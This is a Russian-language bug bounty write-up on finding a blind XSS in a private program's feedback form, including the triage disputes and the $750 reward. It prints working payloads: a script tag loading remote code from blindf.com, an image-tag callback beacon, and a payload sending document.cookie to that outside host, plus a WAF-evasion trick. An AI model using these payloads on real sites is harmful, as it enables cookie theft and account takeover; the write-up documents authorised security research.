От нуля до вознаграждения в $750 за Blind XSS
Без лишних слов, постараюсь изложить всё по существу.
Это частная программа, поэтому будем называть её www.target.com.
Уязвимая форма: форма обратной связи на сайте www.target.com.
Я использовал www.blindf.com для поиска Blind XSS. Вы можете использовать свой собственный VPS для получения ответа.
Моя методика поиска Blind XSS:
По моему опыту, базовый payload для Blind XSS
"></script><script src=https://blindf.com/bx.php></script>
часто не работает. Также любой другой payload, который извлекает DOM или исходный код страницы, тоже не всегда срабатывает. Поэтому для поиска Blind XSS я использую "слепые" HTML payload'ы:
"><img src=’https://blindf.com/b.php?c=querytoremember'/>
в каждом текстовом поле. Причина их использования заключается в обходе WAF или любой другой защиты, внедрённой разработчиком. Поскольку данный payload не использует код на JavaScript и теги «script», он выполняется без проблем и отправляет ответ на www.blindf.com при выполнении. После получения ответа можно приступать к тестированию Blind XSS.
"><img src=’https://blindf.com/b.php?c=querytoremember'>
во всех текстовых полях формы обратной связи на сайте www.target.com/feedback.
Через несколько дней www.blindf.com получил ответ с уязвимого сервера.
Я перешел к использованию базового payload для Blind XSS:
"></script><script src=https://blindf.com/bx.php></script>
чтобы проверить наличие уязвимости Blind XSS. Поскольку к тому моменту я уже знал, что форма уязвима.
Я ждал 20 дней, но ответа так и не получил.
Затем я решил применить хитрость. Я вставил слепой HTML payload:
"><img src=’https://blindf.com/b.php?c=target_com_latestpayload'>
и отправил форму. Я отправил форму повторно с моим базовым payload для Blind XSS. Таким образом, я отправил форму дважды: первый раз с BHTML payload, а второй — с BXSS payload.
Через некоторое время я получил ответ на BHTML payload, но на BXSS payload ответа не было. Я понял, что мой BXSS payload не сработал и больше не отправит ответ. Поскольку оба payload'а были отправлены в один и тот же день, они должны были быть выполнены одновременно.
На www.blindf.com есть и другие payload'ы, которые требуют минимального выполнения JavaScript. Я использовал другой payload, который просто извлекает cookies, не касаясь значений DOM на странице.
"><img src=https://blindf.com/a.jpg onload=this.src=’https://blindf.com/oc.php/?c='+document.cookie>
- Этот payload был выполнен, и я получил базовый cookie.
- Отправка отчёта об ошибке
- Триажер попытался воспроизвести баг, но ему это не удалось. Поэтому он отклонил мой отчёт с пометкой "N/a" (не применимо).
- Я поднял вопрос повторно. Другой триажер использовал популярный веб-сайт для поиска Blind XSS, но снова не получил ответа.
- Отчёт вновь был закрыт как "N/a".
- Я снова поднял вопрос и предоставил ему учетные данные от моего аккаунта на www.blindf.com, чтобы он мог воспроизвести баг.
- Я попросил его заполнить форму дважды: первый раз с BHTML payload, второй — с BXSS (payload для извлечения cookies).
- Обе нагрузки были выполнены, и www.blindf.com получил ответы от них обоих.
- Триаж прошёл успешно
- Вознаграждение получено: $750
После того, как мои отчёты дважды закрывали с пометкой "N/a", я наконец получил вознаграждение.